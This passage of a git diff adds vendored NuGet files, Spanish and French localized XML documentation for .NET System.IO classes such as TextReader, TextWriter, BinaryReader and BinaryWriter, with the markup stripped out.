Se produce un error de E/S. + 1 + + + Lee un número máximo de caracteres especificado en el lector actual y escribe los datos en un búfer, comenzando en el índice especificado. + Número de caracteres que se han leído.Este número será menor o igual que , en función de si los datos están disponibles dentro del lector.Este método devuelve 0 (cero) si se llama cuando no quedan más caracteres para leer. + Cuando este método finaliza, contiene la matriz de caracteres especificada con valores entre e ( + - 1) reemplazada con los caracteres leídos del origen actual. + Lugar de en el que comenzará la escritura. + Número máximo de caracteres que se van a leer.Si el final del lector se alcanza antes de escribir el número de caracteres especificado en el búfer, el método vuelve. + El valor de es null. + La longitud del búfer menos es menor que . + El valor de o es negativo. + El objeto está cerrado. + Se produce un error de E/S. + 1 + + + Lee un número máximo de caracteres especificado en el lector de texto actual de forma asincrónica y escribe los datos en un búfer, comenzando en el índice especificado. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene el número total de bytes leídos en el búfer.El valor del resultado puede ser menor que el número de bytes solicitados si el número de bytes disponibles actualmente es menor que el número solicitado o puede ser 0 (cero) si se ha llegado al final del texto. + Cuando este método finaliza, contiene la matriz de caracteres especificada con valores entre e ( + - 1) reemplazada con los caracteres leídos del origen actual. + Lugar de en el que comenzará la escritura. + Número máximo de caracteres que se van a leer.Si el final del texto se alcanza antes de leer el número de caracteres especificado en el búfer, el método actual vuelve. + El valor de es null. + El valor de o es negativo. + La suma de y es mayor que la longitud del búfer. + Se ha desechado el lector de texto. + El lector está actualmente en uso por una operación de lectura anterior. + + + Lee un número máximo de caracteres especificado en el lector de texto actual y escribe los datos en un búfer, comenzando en el índice especificado. + Número de caracteres que se han leído.Este número será menor o igual que , en función de si se han leído todos los caracteres de entrada. + Cuando este método finaliza, este parámetro contiene la matriz de caracteres especificada con valores entre e ( + -1) reemplazada con los caracteres leídos del origen actual. + Lugar de en el que comenzará la escritura. + Número máximo de caracteres que se van a leer. + El valor de es null. + La longitud del búfer menos es menor que . + El valor de o es negativo. + El objeto está cerrado. + Se produce un error de E/S. + 2 + + + Lee un número máximo de caracteres especificado en el lector de texto actual de forma asincrónica y escribe los datos en un búfer, comenzando en el índice especificado. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene el número total de bytes leídos en el búfer.El valor del resultado puede ser menor que el número de bytes solicitados si el número de bytes disponibles actualmente es menor que el número solicitado o puede ser 0 (cero) si se ha llegado al final del texto. + Cuando este método finaliza, contiene la matriz de caracteres especificada con valores entre e ( + - 1) reemplazada con los caracteres leídos del origen actual. + Lugar de en el que comenzará la escritura. + Número máximo de caracteres que se van a leer.Si el final del texto se alcanza antes de leer el número de caracteres especificado en el búfer, el método actual vuelve. + El valor de es null. + El valor de o es negativo. + La suma de y es mayor que la longitud del búfer. + Se ha desechado el lector de texto. + El lector está actualmente en uso por una operación de lectura anterior. + + + Lee una línea de caracteres del lector de texto y devuelve los datos como una cadena. + Línea siguiente del lector o null si se han leído todos los caracteres. + Se produce un error de E/S. + No hay memoria suficiente como para asignar un búfer a la cadena devuelta. + El objeto está cerrado. + El número de caracteres de la siguiente línea es mayor que + 1 + + + Lee de forma asincrónica una línea de caracteres y devuelve los datos como una cadena. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene la línea siguiente del lector de texto, o es null si se han leído todos los caracteres. + El número de caracteres de la siguiente línea es mayor que . + Se ha desechado el lector de texto. + El lector está actualmente en uso por una operación de lectura anterior. + + + Lee todos los caracteres desde la posición actual hasta el final del lector de texto y los devuelve como una cadena. + Cadena que contiene todos los caracteres desde la posición actual hasta el final del lector. + Se produce un error de E/S. + El objeto está cerrado. + No hay memoria suficiente como para asignar un búfer a la cadena devuelta. + El número de caracteres de la siguiente línea es mayor que + 1 + + + Lee de forma asincrónica todos los caracteres desde la posición actual hasta el final del lector de texto y los devuelve como una cadena. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene una cadena con los caracteres desde la posición actual hasta el final del lector de texto. + El número de caracteres es mayor que . + Se ha desechado el lector de texto. + El lector está actualmente en uso por una operación de lectura anterior. + + + Representa un sistema de escritura que puede escribir una serie secuencial de caracteres.Esta clase es abstracta. + 2 + + + Inicializa una nueva instancia de la clase . + + + Inicializa una nueva instancia de la clase con el control de formato especificado. + Objeto que controla las operaciones de formato. + + + Almacena los caracteres de nueva línea usados para el TextWriter. + + + Libera todos los recursos utilizados por el objeto . + + + Libera los recursos no administrados que usa y libera los recursos administrados de forma opcional. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + Cuando se reemplaza en una clase derivada, devuelve la codificación de caracteres en que se escribe el resultado. + Codificación de caracteres donde se escriben los resultados. + 1 + + + Borra todos los búferes del sistema de escritura actual y hace que todos los datos almacenados en el búfer se escriban en el dispositivo subyacente. + 1 + + + Borra asincrónicamente todos los búferes del sistema de escritura actual y hace que todos los datos almacenados en el búfer se escriban en el dispositivo subyacente. + Tarea que representa la operación de vaciado asincrónico. + Se desecha el sistema de escritura de texto. + El sistema de escritura está actualmente en uso por una operación de escritura anterior. + + + Obtiene un objeto que controla las operaciones de formato. + Objeto para una referencia cultural específica o para las operaciones de formato de la referencia cultural actual si no se especificó otra referencia cultural. + 2 + + + Obtiene o establece la cadena de terminador de línea usada por el TextWriter actual. + Cadena de terminador de línea para el TextWriter actual. + 2 + + + Proporciona un TextWriter sin memoria auxiliar, en el que se puede escribir pero no se puede leer. + 1 + + + Escribe la representación de texto de un valor Boolean en la cadena o secuencia de texto. + Valor Boolean que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe un carácter en la cadena o secuencia de texto. + Carácter que se va a escribir en la secuencia de texto. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe una matriz de caracteres en la cadena o secuencia de texto. + Matriz de caracteres que se va a escribir en la secuencia de texto. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe una submatriz de caracteres en la cadena o secuencia de texto. + Matriz de caracteres de la que se escriben los datos. + Posición del carácter en el búfer donde comenzar la recuperación de datos. + Número de caracteres que se van a escribir. + La longitud del búfer menos es menor que . + El parámetro es null. + + o es negativo. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un valor decimal en la cadena o secuencia de texto. + Valor decimal que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un valor de punto flotante de 8 bytes en la cadena o secuencia de texto. + Valor de punto flotante de 8 bytes que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un entero con signo de 4 bytes en la cadena o secuencia de texto. + Entero de 4 bytes con signo que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un entero con signo de 8 bytes en la cadena o secuencia de texto. + Entero de 8 bytes con signo que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un objeto en la cadena o secuencia de texto mediante una llamada al método ToString en ese objeto. + Objeto que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un valor de punto flotante de 4 bytes en la cadena o secuencia de texto. + Valor de punto flotante de 4 bytes que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe una cadena en la cadena o secuencia de texto. + Cadena que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe una cadena con formato en la cadena de texto o en la secuencia, con la misma semántica que el método de . + Cadena de formato compuesto (vea Comentarios). + El objeto al que se va a dar formato y escribir. + El valor de es null. + El se cierra. + Se produce un error de E/S. + + no es una cadena de formato compuesto válido.o bien El índice de un elemento de formato es menor que 0 (cero), o mayor o igual que el número de objetos a los que se va a dar formato (que, para esta sobrecarga del método, es uno). + 1 + + + Escribe una cadena con formato en la cadena de texto o en la secuencia, con la misma semántica que el método de . + Cadena de formato compuesto (vea Comentarios). + Primer objeto al que se va a dar formato y escribir. + Segundo objeto al que se va a dar formato y escribir. + El valor de es null. + El se cierra. + Se produce un error de E/S. + + no es una cadena de formato compuesto válido.o bien El índice de un elemento de formato es menor que 0 (cero) o mayor o igual que el número de objetos a los que se va a dar formato (que, para esta sobrecarga del método, es dos). + 1 + + + Escribe una cadena con formato en la cadena de texto o en la secuencia, con la misma semántica que el método de . + Cadena de formato compuesto (vea Comentarios). + Primer objeto al que se va a dar formato y escribir. + Segundo objeto al que se va a dar formato y escribir. + Tercer objeto al que se va a dar formato y escribir. + El valor de es null. + El se cierra. + Se produce un error de E/S. + + no es una cadena de formato compuesto válido.o bien El índice de un elemento de formato es menor que 0 (cero), o mayor o igual que el número de objetos a los que se va a dar formato (que, para esta sobrecarga del método, es tres). + 1 + + + Escribe una cadena con formato en la cadena de texto o en la secuencia, con la misma semántica que el método de . + Cadena de formato compuesto (vea Comentarios). + Matriz de objetos que contiene cero o más objetos a los que se va a aplicar formato y escribir. + El valor de o es null. + El se cierra. + Se produce un error de E/S. + + no es una cadena de formato compuesto válido.o bien El índice de un elemento de formato es menor que 0 (cero), o mayor o igual que la longitud de la matriz. + 1 + + + Escribe la representación de texto de un entero sin signo de 4 bytes en la cadena o secuencia de texto. + Entero de 4 bytes sin signo que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un entero sin signo de 8 bytes en la cadena o secuencia de texto. + Entero de 8 bytes sin signo que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe un carácter en la cadena o secuencia de texto de forma asincrónica. + Tarea que representa la operación de escritura asincrónica. + Carácter que se va a escribir en la secuencia de texto. + Se desecha el sistema de escritura de texto. + El sistema de escritura de texto está actualmente en uso por una operación de escritura anterior. + + + Escribe una matriz de caracteres en la cadena o secuencia de texto de forma asincrónica. + Tarea que representa la operación de escritura asincrónica. + Matriz de caracteres que se va a escribir en la secuencia de texto.Si es null, no se escribe nada. + Se desecha el sistema de escritura de texto. + El sistema de escritura de texto está actualmente en uso por una operación de escritura anterior. + + + Escribe una submatriz de caracteres en la cadena o secuencia de texto de forma asincrónica. + Tarea que representa la operación de escritura asincrónica. + Matriz de caracteres de la que se escriben los datos. + Posición del carácter en el búfer donde comenzar la recuperación de datos. + Número de caracteres que se van a escribir. + El valor de es null. + El plus es mayor que la longitud del búfer. + + o es negativo. + Se desecha el sistema de escritura de texto. + El sistema de escritura de texto está actualmente en uso por una operación de escritura anterior. + + + Escribe una cadena en la cadena o secuencia de texto de forma asincrónica. + Tarea que representa la operación de escritura asincrónica. + Cadena que se va a escribir.Si es null, no se escribirá nada en la secuencia de texto. + Se desecha el sistema de escritura de texto. + El sistema de escritura de texto está actualmente en uso por una operación de escritura anterior. + + + Escribe un terminador de línea en la cadena o secuencia. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un valor Boolean seguida de un terminador de línea en la cadena o secuencia de texto. + Valor Boolean que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe un carácter seguido de un terminador en la cadena o la secuencia de texto. + Carácter que se va a escribir en la secuencia de texto. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe una matriz de caracteres seguida de un terminador de línea en la cadena o secuencia de texto. + Matriz de caracteres de la que se leen los datos. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe una submatriz de caracteres seguida de un terminador de línea en la cadena o secuencia de texto. + Matriz de caracteres de la que se leen los datos. + Posición del carácter en donde comenzar a leer datos. + Número máximo de caracteres que se van a escribir. + La longitud del búfer menos es menor que . + El parámetro es null. + + o es negativo. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un valor decimal seguida de un terminador de línea en la cadena o secuencia de texto. + Valor decimal que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un valor de punto flotante de 8 bytes seguida de un terminador de línea en la cadena o secuencia de texto. + Valor de punto flotante de 8 bytes que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un entero con signo de 4 bytes seguida de un terminador de línea en la cadena o secuencia de texto. + Entero de 4 bytes con signo que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un entero con signo de 8 bytes seguida de un terminador de línea en la cadena o secuencia de texto. + Entero de 8 bytes con signo que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un objeto mediante una llamada al método ToString en ese objeto, seguida de un terminador de línea en la cadena o secuencia de texto. + Objeto que se va a escribir.Si es null, sólo se escribe el terminador de línea. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un valor de punto flotante de 4 bytes seguida de un terminador de línea en la cadena o secuencia de texto. + Valor de punto flotante de 4 bytes que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe una cadena seguida de un terminador en la cadena o la secuencia de texto. + Cadena que se va a escribir.Si es null, sólo se escribe el terminador de línea. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe una cadena con formato y una nueva línea en la cadena de texto o a la secuencia, con la misma semántica que el método de . + Cadena de formato compuesto (vea Comentarios). + El objeto al que se va a dar formato y escribir. + El valor de es null. + El se cierra. + Se produce un error de E/S. + + no es una cadena de formato compuesto válido.o bien El índice de un elemento de formato es menor que 0 (cero), o mayor o igual que el número de objetos a los que se va a dar formato (que, para esta sobrecarga del método, es uno). + 1 + + + Escribe una cadena con formato y una nueva línea en la cadena de texto o a la secuencia, con la misma semántica que el método de . + Cadena de formato compuesto (vea Comentarios). + Primer objeto al que se va a dar formato y escribir. + Segundo objeto al que se va a dar formato y escribir. + El valor de es null. + El se cierra. + Se produce un error de E/S. + + no es una cadena de formato compuesto válido.o bien El índice de un elemento de formato es menor que 0 (cero), o mayor o igual que el número de objetos a los que se va a dar formato (que, para esta sobrecarga del método, es dos). + 1 + + + Escribe una cadena con formato y una nueva línea usando la misma semántica que . + Cadena de formato compuesto (vea Comentarios). + Primer objeto al que se va a dar formato y escribir. + Segundo objeto al que se va a dar formato y escribir. + Tercer objeto al que se va a dar formato y escribir. + El valor de es null. + El se cierra. + Se produce un error de E/S. + + no es una cadena de formato compuesto válido.o bien El índice de un elemento de formato es menor que 0 (cero), o mayor o igual que el número de objetos a los que se va a dar formato (que, para esta sobrecarga del método, es tres). + 1 + + + Escribe una cadena con formato y una nueva línea usando la misma semántica que . + Cadena de formato compuesto (vea Comentarios). + Matriz de objetos que contiene cero o más objetos a los que se va a aplicar formato y escribir. + Una cadena u objeto se pasa como null. + El se cierra. + Se produce un error de E/S. + + no es una cadena de formato compuesto válido.o bien El índice de un elemento de formato es menor que 0 (cero), o mayor o igual que la longitud de la matriz. + 1 + + + Escribe la representación de texto de un entero sin signo de 4 bytes seguida de un terminador de línea en la cadena o secuencia de texto. + Entero de 4 bytes sin signo que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un entero sin signo de 8 bytes seguida de un terminador de línea en la cadena o secuencia de texto. + Entero de 8 bytes sin signo que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe un terminador de línea en la cadena o secuencia de forma asincrónica. + Tarea que representa la operación de escritura asincrónica. + Se desecha el sistema de escritura de texto. + El sistema de escritura de texto está actualmente en uso por una operación de escritura anterior. + + + Escribe un carácter seguido de un terminador de forma asincrónica en la cadena o la secuencia de texto. + Tarea que representa la operación de escritura asincrónica. + Carácter que se va a escribir en la secuencia de texto. + Se desecha el sistema de escritura de texto. + El sistema de escritura de texto está actualmente en uso por una operación de escritura anterior. + + + Escribe una matriz de caracteres seguida de un terminador de línea de forma asincrónica en la cadena o secuencia de texto. + Tarea que representa la operación de escritura asincrónica. + Matriz de caracteres que se va a escribir en la secuencia de texto.Si la matriz de caracteres es null, sólo se escribe el terminador de línea. + Se desecha el sistema de escritura de texto. + El sistema de escritura de texto está actualmente en uso por una operación de escritura anterior. + + + Escribe una submatriz de caracteres seguida de un terminador de línea de forma asincrónica en la cadena o secuencia de texto. + Tarea que representa la operación de escritura asincrónica. + Matriz de caracteres de la que se escriben los datos. + Posición del carácter en el búfer donde comenzar la recuperación de datos. + Número de caracteres que se van a escribir. + El valor de es null. + El plus es mayor que la longitud del búfer. + + o es negativo. + Se desecha el sistema de escritura de texto. + El sistema de escritura de texto está actualmente en uso por una operación de escritura anterior. + + + Escribe una cadena seguido de un terminador de forma asincrónica en la cadena o la secuencia de texto. + Tarea que representa la operación de escritura asincrónica. + Cadena que se va a escribir.Si el valor es null, solo se escribe el terminador de línea. + Se desecha el sistema de escritura de texto. + El sistema de escritura de texto está actualmente en uso por una operación de escritura anterior. + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netcore50/fr/System.IO.xml b/packages/System.IO.4.3.0/ref/netcore50/fr/System.IO.xml new file mode 100644 index 0000000..1743a62 --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netcore50/fr/System.IO.xml @@ -0,0 +1,2201 @@ + + + + System.IO + + + + Lit les types de données primitifs sous forme de valeurs binaires avec un encodage spécifique. + 2 + + + Initialise une nouvelle instance de la classe en fonction du flux spécifié et à l'aide de l'encodage UTF-8. + Flux d'entrée. + Le flux ne prend pas en charge l'écriture, il est null ou bien il est déjà fermé. + + + Initialise une nouvelle instance de la classe en fonction du flux et l'encodage de caractères spécifiés. + Flux d'entrée. + Encodage des caractères à utiliser. + Le flux ne prend pas en charge l'écriture, il est null ou bien il est déjà fermé. + + a la valeur null. + + + Initialise une nouvelle instance de la classe en fonction du flux et de l'encodage de caractères spécifiés, et permet éventuellement de laisser le flux ouvert. + Flux d'entrée. + Encodage des caractères à utiliser. + true pour maintenir le flux ouvert après avoir supprimé l'objet  ; sinon, false. + Le flux ne prend pas en charge l'écriture, il est null ou bien il est déjà fermé. + + ou a la valeur null. + + + Expose l'accès au flux sous-jacent de l'élément . + Flux sous-jacent associé à l'élément BinaryReader. + 2 + + + Libère toutes les ressources utilisées par l'instance actuelle de la classe . + + + Libère les ressources non managées utilisées par la classe et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour ne libérer que les ressources non managées. + + + Remplit la mémoire tampon interne avec le nombre spécifié d'octets lus à partir du flux. + Nombre d'octets à lire. + La fin du flux est atteinte avant que n'ait pu être lu. + Une erreur d'E/S se produit. + + demandé est plus grand que la taille de la mémoire tampon interne. + + + Retourne le prochain caractère disponible et n'avance pas la position de caractère ou d'octet. + Prochain caractère disponible, ou -1 si aucun caractère n'est disponible ou si le flux ne prend pas en charge la recherche. + Une erreur d'E/S se produit. + Le caractère actuel ne peut pas être décodé dans la mémoire tampon de caractères interne à l'aide du sélectionné pour le flux de données. + 2 + + + Lit les caractères du flux sous-jacent et avance la position actuelle du flux conformément à la valeur Encoding utilisée et au caractère spécifique en cours de lecture dans le flux. + Caractère suivant du flux d'entrée, ou -1 si aucun caractère n'est actuellement disponible. + Une erreur d'E/S se produit. + Le flux est fermé. + 2 + + + Lit le nombre spécifié d'octets dans le flux, en commençant à un point spécifié dans le tableau d'octets. + Nombre d'octets lus dans .Ce total peut être inférieur au nombre d'octets demandé si ce nombre d'octets n'est pas disponible, ou il peut être égal à zéro si la fin du flux est atteinte. + Mémoire tampon dans laquelle lire les données. + Point de départ, dans la mémoire tampon, à partir duquel commencer la lecture de la mémoire tampon. + Nombre d'octets à lire. + La longueur de la mémoire tampon moins est inférieure à . ouLe nombre de caractères décodés à lire est supérieur à .Cela peut arriver si un décodeur Unicode retourne des caractères de secours ou une paire de substitution. + + a la valeur null. + + ou est négatif. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit le nombre spécifié de caractères du flux, en commençant à un point spécifié dans le tableau de caractères. + Nombre total de caractères lus dans la mémoire tampon.Ce total peut être inférieur au nombre de caractères demandé si ce nombre de caractères n'est pas disponible actuellement, ou il peut être égal à zéro si la fin du flux est atteinte. + Mémoire tampon dans laquelle lire les données. + Point de départ, dans la mémoire tampon, à partir duquel commencer la lecture de la mémoire tampon. + Nombre de caractères à lire. + La longueur de la mémoire tampon moins est inférieure à . ouLe nombre de caractères décodés à lire est supérieur à .Cela peut arriver si un décodeur Unicode retourne des caractères de secours ou une paire de substitution. + + a la valeur null. + + ou est négatif. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit un entier 32 bits au format compressé. + Entier 32 bits au format compressé. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + Le flux est endommagé. + + + Lit une valeur Boolean à partir du flux actuel et avance la position actuelle du flux d'un octet. + true si l'octet est différent de zéro ; sinon, false. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit l'octet suivant du flux actuel et avance la position actuelle du flux d'un octet. + Octet suivant lu dans le flux actuel. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit le nombre spécifié d'octets du flux actuel dans un tableau d'octets et avance la position actuelle de ce nombre d'octets. + Tableau d'octets contenant les données lues dans le flux sous-jacent.Cette valeur peut être inférieure au nombre d'octets demandé si la fin du flux est atteinte. + Nombre d'octets à lire.Cette valeur doit être 0 ou un nombre non négatif, sinon une exception se produit. + Le nombre de caractères décodés à lire est supérieur à .Cela peut arriver si un décodeur Unicode retourne des caractères de secours ou une paire de substitution. + Une erreur d'E/S se produit. + Le flux est fermé. + + est négatif. + 2 + + + Lit le caractère suivant dans le flux actuel et avance la position actuelle du flux conformément à la valeur Encoding utilisée et du caractère spécifique en cours de lecture dans le flux. + Caractère lu dans le flux actuel. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + Un caractère de substitution a été lu. + 2 + + + Lit le nombre spécifié de caractères dans le flux actuel, retourne les données dans un tableau de caractères et avance la position actuelle conformément à la valeur Encoding utilisée et au caractère spécifique en cours de lecture dans le flux. + Tableau de caractères contenant des données lues dans le flux sous-jacent.Cette valeur peut être inférieure au nombre de caractères demandés si la fin du flux est atteinte. + Nombre de caractères à lire. + Le nombre de caractères décodés à lire est supérieur à .Cela peut arriver si un décodeur Unicode retourne des caractères de secours ou une paire de substitution. + Le flux est fermé. + Une erreur d'E/S se produit. + + est négatif. + 2 + + + Lit une valeur décimale dans le flux actuel et avance la position actuelle du flux de 16 octets. + Valeur décimale lue dans le flux actuel. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit une valeur à virgule flottante de 8 octets dans le flux actuel et avance la position actuelle du flux de huit octets. + Valeur à virgule flottante de 8 octets lue dans le flux actuel. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit un entier signé de 2 octets dans le flux actuel et avance la position actuelle du flux de deux octets. + Entier signé de 2 octets lu dans le flux actuel. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit un entier signé de 4 octets dans le flux actuel et avance la position actuelle du flux de quatre octets. + Entier signé de 4 octets lu dans le flux actuel. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit un entier signé de 8 octets dans le flux actuel et avance la position actuelle du flux de huit octets. + Entier signé de 8 octets lu dans le flux actuel. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit un octet signé dans ce flux et avance la position actuelle du flux d'un octet. + Octet signé lu dans le flux actuel. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit une valeur à virgule flottante de 4 octets dans le flux actuel et avance la position actuelle du flux de quatre octets. + Valeur à virgule flottante de 4 octets lue dans le flux actuel. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit une chaîne dans le flux actuel.La chaîne est précédée de la longueur, encodée sous la forme d'un entier de sept bits à la fois. + Chaîne en cours de lecture. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit un entier non signé de 2 octets dans le flux actuel à l'aide de l’encodage Little Endian et avance la position du flux de deux octets. + Entier non signé de 2 octets lu dans ce flux. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit un entier non signé de 4 octets dans le flux actuel et avance la position du flux de quatre octets. + Entier non signé de 4 octets lu dans ce flux. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit un entier non signé de 8 octets dans le flux actuel et avance la position du flux de huit octets. + Entier non signé de 8 octets lu dans ce flux. + La fin du flux est atteinte. + Une erreur d'E/S se produit. + Le flux est fermé. + 2 + + + Écrit des types primitifs en binaire dans un flux et prend en charge l'écriture de chaînes dans un encodage spécifique. + 2 + + + Initialise une nouvelle instance de la classe qui écrit dans un flux. + + + Initialise une nouvelle instance de la classe en fonction du flux spécifié et à l'aide de l'encodage UTF-8. + Flux de sortie. + Le flux ne prend pas en charge l'écriture ou bien il est déjà fermé. + + a la valeur null. + + + Initialise une nouvelle instance de la classe en fonction du flux et de l'encodage de caractères spécifiés. + Flux de sortie. + Encodage de caractères à utiliser. + Le flux ne prend pas en charge l'écriture ou bien il est déjà fermé. + + ou est null. + + + Initialise une nouvelle instance de la classe selon le flux et l'encodage de caractères spécifiés, et permet éventuellement de laisser le flux ouvert. + Flux de sortie. + Encodage de caractères à utiliser. + true pour maintenir le flux ouvert après avoir supprimé l'objet  ; sinon, false. + Le flux ne prend pas en charge l'écriture ou bien il est déjà fermé. + + ou est null. + + + Obtient le flux sous-jacent de . + Flux sous-jacent associé à BinaryWriter. + 1 + + + Libère toutes les ressources utilisées par l'instance actuelle de la classe . + + + Libère les ressources non managées utilisées par et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour libérer uniquement les ressources non managées. + + + Efface toutes les mémoires tampons pour le writer actuel et provoque l'écriture des données mises en mémoire tampon sur le périphérique sous-jacent. + 1 + + + Spécifie sans magasin de sauvegarde. + 1 + + + Contient le flux sous-jacent. + + + Définit la position dans le flux actuel. + Position dans le flux actuel. + Offset d'octet par rapport à . + Champ de indiquant le point de référence à partir duquel la nouvelle position doit être obtenue. + Le pointeur de fichier a été déplacé vers un emplacement non valide. + La valeur n'est pas valide. + 1 + + + Écrit une valeur Boolean de 1 octet dans le flux actuel, 0 représentant false et 1 représentant true. + Valeur Boolean à écrire (0 ou 1). + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un octet non signé dans le flux actuel et avance la position du flux d'un octet. + Octet non signé à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un tableau d'octets dans le flux sous-jacent. + Tableau d'octets contenant les données à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + + a la valeur null. + 1 + + + Écrit une zone d'un tableau d'octets dans le flux actuel. + Tableau d'octets contenant les données à écrire. + Point de départ de à partir duquel l'écriture doit commencer. + Nombre d'octets à écrire. + La longueur de la mémoire tampon moins est inférieure à . + + a la valeur null. + + ou est négatif. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un caractère Unicode dans le flux actuel et avance la position actuelle du flux en fonction du Encoding utilisé et des caractères spécifiques en cours d'écriture dans le flux. + Caractère Unicode de non-substitution à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + + est un caractère de substitution unique. + 1 + + + Écrit un tableau de caractères dans le flux actuel et avance la position actuelle du flux en fonction du Encoding utilisé et des caractères spécifiques en cours d'écriture dans le flux. + Tableau de caractères contenant les données à écrire. + + a la valeur null. + Le flux est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit dans le flux actuel une section d'un tableau de caractères et avance la position actuelle du flux en fonction du Encoding utilisé et éventuellement des caractères spécifiques écrits. + Tableau de caractères contenant les données à écrire. + Point de départ de à partir duquel l'écriture doit commencer. + Nombre de caractères à écrire. + La longueur de la mémoire tampon moins est inférieure à . + + a la valeur null. + + ou est négatif. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit une valeur décimale dans le flux actuel et avance la position du flux de 16 octets. + Valeur décimale à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit une valeur à virgule flottante de 8 octets dans le flux actuel et avance la position du flux de 8 octets. + Valeur à virgule flottante de 8 octets à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un entier signé de 2 octets dans le flux actuel et avance la position du flux de 2 octets. + Entier signé de 2 octets à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un entier signé de 4 octets dans le flux actuel et avance la position du flux de 4 octets. + Entier signé de 4 octets à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un entier signé de 8 octets dans le flux actuel et avance la position du flux de 8 octets. + Entier signé de 8 octets à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un octet signé dans le flux actuel et avance la position du flux d'un octet. + Octet signé à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit une valeur à virgule flottante de 4 octets dans le flux actuel et avance la position du flux de 4 octets. + Valeur à virgule flottante de 4 octets à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit dans ce flux une chaîne préfixée par sa longueur dans l'encodage actuel de et avance la position actuelle du flux en fonction de l'encodage utilisé et des caractères spécifiques écrits dans le flux. + Valeur à écrire. + Une erreur d'E/S se produit. + + a la valeur null. + Le flux est fermé. + 1 + + + Écrit un entier non signé de 2 octets dans le flux actuel et avance la position du flux de 2 octets. + Entier non signé de 2 octets à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un entier non signé de 4 octets dans le flux actuel et avance la position du flux de 4 octets. + Entier non signé de 4 octets à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un entier non signé de 8 octets dans le flux actuel et avance la position du flux de 8 octets. + Entier non signé de 8 octets à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 